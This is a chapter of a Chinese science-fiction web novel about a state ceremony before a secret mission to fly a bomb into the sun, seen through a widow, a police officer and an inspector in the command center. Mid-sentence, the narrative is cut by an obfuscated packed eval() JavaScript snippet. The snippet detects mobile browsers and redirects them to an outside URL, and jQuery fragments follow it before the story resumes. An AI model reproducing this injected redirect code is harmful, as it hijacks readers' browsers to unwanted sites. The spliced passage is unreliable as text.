地面，黄昏降临。
春明市，国家体育场“逐日广场”。
这是三天前刚改的名字。原本的奥运场馆被重新布置，中央舞台搭成飞船发射台的样式；四周看台坐满抽签选中的幸运民众，更多人在场外广场聚集，通过全息投影观看实况。
李素华最终还是来了。
她说不清为什么。也许是想在人群里找回一点活着的实感，也许是想看看那两个“英雄”长什么样、或也许只是不想一个人待在公寓里面对丈夫的遗像。
志愿者发给她一个手环，戴上后会在庆典高潮时同步发光；还有一副简易全息眼镜，可以增强视觉效果。
“姐姐，您坐这边！”一个年轻志愿者热情地引导，“离舞台很近的！”
李素华被安排在内场第七排。坐下后环顾四周，左边是一大家子人，老奶奶抱着孙子；右边是几个大学生，正在争论祝觉明理论的某个细节。爆米花的甜腻味、电子设备发热的焦糊味、人群聚集特有的温热体味……
正常得诡异。
【00:43:21。】
舞台上的倒计时牌如此显示。
大屏幕开始播放纪录片。讲述人类探索太阳的历史:从古代的太阳神崇拜，到第一架太阳望远镜；到发射帕克太阳探测器，再到近日点号的设计突破。旁白浑厚有力，配乐激昂向上；放到帕克号传回的第一批日冕数据时，李素华旁边的大学生发出赞叹。
“当时的技术能做到那样，真的了不起。”
“但跟现在比就是玩具，近日点号能飞到它的十倍近！”
“你说祝觉明到底怎么解决散热问题的？那个距离上……”
李素华闭上眼。
她丈夫也爱聊这些。晚饭时，他会一边扒拉米饭一边说今天在轨道上修了哪个传感器、看见地球弧度在窗外怎样弯曲，太阳从月球边缘升起来时有多亮。
“素华，你真该上去看看。”
“我怕高。”
她总是如此回答。其实不是怕高。是怕他上去后，就不想回来了。
纪录片进入尾声。画面切到近日点号的制造过程：船体在月面工厂分段成型，由重型穿梭机运到近地轨道组装、工程师在无重力环境里像搭积木一样拼接。
最后一个镜头，飞船完整呈现在轨道船坞中，银白色外壳反射着地球的蓝光。
美得不像真的。
【00:15:00】。
“请各位就坐，庆典即将正式开始。请检查手环电源，稍后我们将进行同步测试。”
李素华低头看手腕，手环在此刻亮起绿灯。
“五、四、三、二、一——”
全场手环同时变成金色，十万个光点在看台上亮起，像浮出一片星海；有人惊呼，孩子们兴奋地挥舞手臂，光流在空气中划出痕迹。
李素华抬手，金光映在她皮肤上，衬得那些细微皱纹更加明显。四十五岁，失去丈夫，无子女，未来可能还要失去这颗星球。
但她手腕在发光。
多荒谬。
———
华亭外滩。
陈启终于换岗休息，他靠在警戒线后的临时休息点，接过队友递来的能量饮料；江对岸，齐家渠的建筑群已经开始灯光秀，金红两色的光浪沿着楼体滚动，模拟太阳风掠过飞船护盾的效果。
“真舍得下本钱。”队友咂嘴，“听说这次庆典预算够建三座医院。”
陈启没接话。他打开个人终端，调出加密相册。里面只有一张照片：他哥哥，穿着同样的特遣部队制服，站在火星殖民地的红色沙丘上。
那是五年前，哥哥随科研队去火星，说三年就回来。
第二年，火星基地发生“系统故障”，全员失联。
官方报告写了八十页，结论就一句：
不可抗力事故。
和太阳有关吗？陈启不知道。他只记得哥哥最后一条信息：
“这边天空有点奇怪，太阳看起来比地球上的大，但是好漂亮。”
倒不是视觉上的大。哥哥是工程师，描述很精确：“是色球层的活动范围超出了模型预测，基地的天文台已经连续报警两周了。但他们让我们继续工作，说没事。”
然后就没有然后了。
“陈启！”耳麦里传来队长声音，“B3区有民众情绪激动，疑似过度亢奋，带医疗组过去看看！”
“收到。”
他灌完剩下的饮料，塑料瓶扔进回收箱。走向B3区的路上经过一个街头艺人，那人用全息投影在表演，画面里是一艘小飞船飞向燃烧的太阳，配乐悲壮。
围观群众在鼓掌。
陈启加快脚步。
———
地下指挥大厅，最后准备阶段。
苏持风面前的屏幕列着所有关键节点的状态:
祝觉明——位置：准备室A。
生理指标：平稳。
脑波谱：抑制器工作正常，背景噪音低于阈值。
怀从咎——位置：准备室B。
生理指标：心率偏高。
脑波谱：异常波动持续，灼痕区域能量读数上升。
近日点号——位置：近地轨道船坞。
系统自检：完成97%。
燃料加注：进行中。
地球同步轨道防御阵列——状态：待命。
协议：第七章。
最后一项让苏持风停顿了一下。她调出协议第七章的摘要，只有一行字：
“当文明延续概率低于设定阈值时，启动自动裁决程序。”
阈值是多少？程序具体内容是什么？
她的权限不够查看。
“监察长。”技术员报告，“全球情绪监测网显示，信任指数上升至百分之八十九，恐慌指数降至百分之七。宣传效果显著。”
“异常反应区域呢？”
“十七处，都在预期范围内。已派遣心理干预小组。”
苏持风点头。一切按计划进行。
太按计划了。
她忍不住看向总长，他仍然坐在主位，现在正闭着眼、像是在养神，又像在聆听什么；有传言说他年轻时曾是顶尖的理论物理学家，后来转入政界，三十年内爬到权力顶峰。
也有传言说他根本不是人类，是早期人工智能的化身。
苏持风更相信前一种。
因为已经有林静渊这个智能体了。
她觉得自己有一个不是人的同事就够了。
倒计时【00:05:00】。
大厅里的气氛微妙地紧绷起来。操作员们坐得更直，敲键盘的声音变得密集；主屏幕切换到庆典现场——国家体育场，镜头从高空俯瞰，十万金色手环组成旋转的光涡。
音响传来地面主持人的声音，经过处理，听起来既激动又克制：“……这是一个历史性的时刻，人类将直面恒星，拥抱未知。我们的勇气，我们的智慧，将为我们开启新的纪元……”
陈词滥调。苏持风想。
但有效。
她看见镜头扫过观众席。一张张脸孔仰望着，眼睛反射舞台的光；老人，青年，孩子，不同肤色，不同国籍……他们真的相信这是一场探索，相信英雄会带回希望，相信明天太阳照常升起。
他们不知道炸弹已经装在飞船上。
不知道所谓“探索”是去引爆它。
不知道即使成功，也有百分之三十的概率会引发连锁反应，把地球拖入更糟的境地。
总长忽然睁开眼睛。
“时间到了。”他微笑，“确认权限……”
——观照。
苏持风看向时钟：
00：00：00。
地面，主持人提高音量：“现在，让我们欢迎——逐日计划的英雄，人类文明的先锋，祝觉明博士，和怀从咎指挥官！”
音乐推向高潮。
但祝觉明没有出现。
怀从咎也没有。
舞台空着，追光灯在空处交叉。
观众席开始骚动，小声议论像水波扩散。导播显然也慌了，镜头胡乱切换，一会儿拍空舞台，一会儿拍观众困惑的脸。
苏持风猛地站起：“地面什么情况？！”
“不、不知道……”负责联络的操作员声音发颤，“准备室报告两人都已出发，但通道监控没拍到……”
观照却很平静。他甚至向后靠了靠，手指在扶手上轻敲。
三秒。
五秒。
十秒。
就在骚动要变成恐慌时，舞台中央的地板打开了。
但不是升降台。
是两块地板像花瓣一样向两侧滑开，露出下面的透明管道；管道里两个人正沿着不同的弧线向舞台中心滑来，像乘着气流飘浮。
祝觉明在左，怀从咎在右。
他们都穿着黑色的任务服，但款式不同。祝觉明的更接近实验室白大褂的剪裁，怀从咎的则明显带有飞行服的功能性设计。两人在管道中没有任何动作，任由传送系统将他们送到预定位置。
当他们在舞台中央交汇时，管道停止，地板合拢。
灯光骤亮。
那一刻，苏持风从监控
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174307|196873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
画面里清晰地看到:祝觉明的左手无名指，戒指表面有蓝光一闪而过。而怀从咎的右手下意识抬了抬，像要摸锁骨位置，又在半空中停住。
尔后怀从咎笑了。
那笑容和他宣传照上的一模一样，张扬，自信，充满生命力。他朝观众席挥手，引发海啸般的欢呼。
祝觉明只是点了点头。幅度很小，但足够被镜头捕捉。
主持人如释重负，声音重新饱满起来:“女士们先生们，我们的英雄——！”
后续的话被欢呼淹没。
苏持风慢慢坐回椅子。她调出刚才管道系统的日志，发现启动指令不是来自地面控制组，而是来自指挥大厅。
来自观照的控制台。
“您早就安排好了。”她发现自己浑身冷汗，“为什么？”
“仪式感很重要。”观照没有否认，“他们从地下升起，像从文明深处浮现的答案。视觉效果比走楼梯好得多。”
“但怀从咎刚才的反应……他像是感觉到了什么。”
“他当然感觉到了。”观照的目光落在怀从咎的实时画面上。镜头正给灼痕特写，那道从锁骨延伸到肩头的纹路，在强光下呈现出琥珀色的半透明质感，“那是对高维扰动的本能反应。就像地震前动物会不安。”
“您真的认为，”苏持风有些后悔自己接了这个什么计划监察长，“把他们俩送进太阳，能改变什么？”
“不是送进太阳。”观照纠正她，“是让他们在近日点——太阳与人类文明之间最危险也最亲密的距离上，完成一次共振。如果他们的意识能达到模型预测的协同态，产生的波形就能干扰审判程序的执行逻辑。”
“如果达不到呢？”
“那就格式化重来。”观照说得很轻松，“宇宙不缺文明试验场。”
苏持风心想自己现在辞职还来得及吗。
顺便替上面那俩也把职辞了。
舞台上，祝觉明开始讲话。他的声音通过扩音系统传遍全场，平静清晰公事公办，每个字都像经过校准：
“感谢各位的信任。”
“近日点号将在三小时后发射。我们携带的不仅是仪器，还有人类对未知的好奇，对生存的渴望。数据会证明，文明值得延续。”
标准发言。但苏持风注意到，祝觉明说“值得”时，眼睛看向了怀从咎。
不是看镜头，不是看观众。
是看向身旁那个唯一能和他一起赴死的人。
怀从咎接过话筒。他没按提词器，开口就是：“我不会说漂亮话。但我会把飞船开到该去的地方，做完该做的事，然后……”
“——然后我们所有人一起回家。”
“回家”两个字引发更激烈的欢呼。
李素华在第七排，看着那两个被光笼罩的人。祝觉明站得笔直，像一棵不会弯曲的树；怀从咎稍微放松，重心落在一条腿上，随时能起跑的样子。
她忽然想起丈夫的葬礼。也是这么多人，也是这么多花圈，也是发言人念着格式统一的悼词。
那时她觉得，死亡这么重的事，不该被说得那么轻。
现在她觉得，生存这么重的事，也不该被说得那么轻。
但周围的人都在鼓掌，在呐喊，在流泪；金色手环的光芒随着节奏明灭，像一片会呼吸的星海。
也许是她错了。
也许人就需要这种轻，才能扛住那种重。
陈启在外滩的警戒线后，也看着直播画面。怀从咎说完“回家”后，镜头给了一个特写。他看见指挥官脖子上的灼痕，在舞台激光扫过时，短暂地泛出虹彩。
像石油在水面的光泽。
像他说不清的东西。
他按了按自己的肩膀——那里什么也没有，只有制服布料粗糙的触感；但莫名的，他觉得有什么东西在跳动，和远方舞台上的光同步。
很荒谬的感觉。
那一定不是他的心跳。
他摇摇头，继续执勤。
地下指挥大厅，观照站了起来。
他走到主屏幕前，背对所有人；画面上，祝觉明和怀从咎正接受儿童献花，两个孩子跑上舞台，把花束塞进他们怀里。怀从咎蹲下来和孩子们说话，祝觉明站着、但微微俯身。
温馨的画面。
“情绪峰值达到了。”技术员报告，“全球同步率百分之九十一，信任指数突破百分之九十。”
观照看着屏幕上怀从咎的笑容，祝觉明镜片后平静的眼睛，观众席上十万张仰望的脸。
尔后他略微后仰。
“演员就位，舞台点亮。”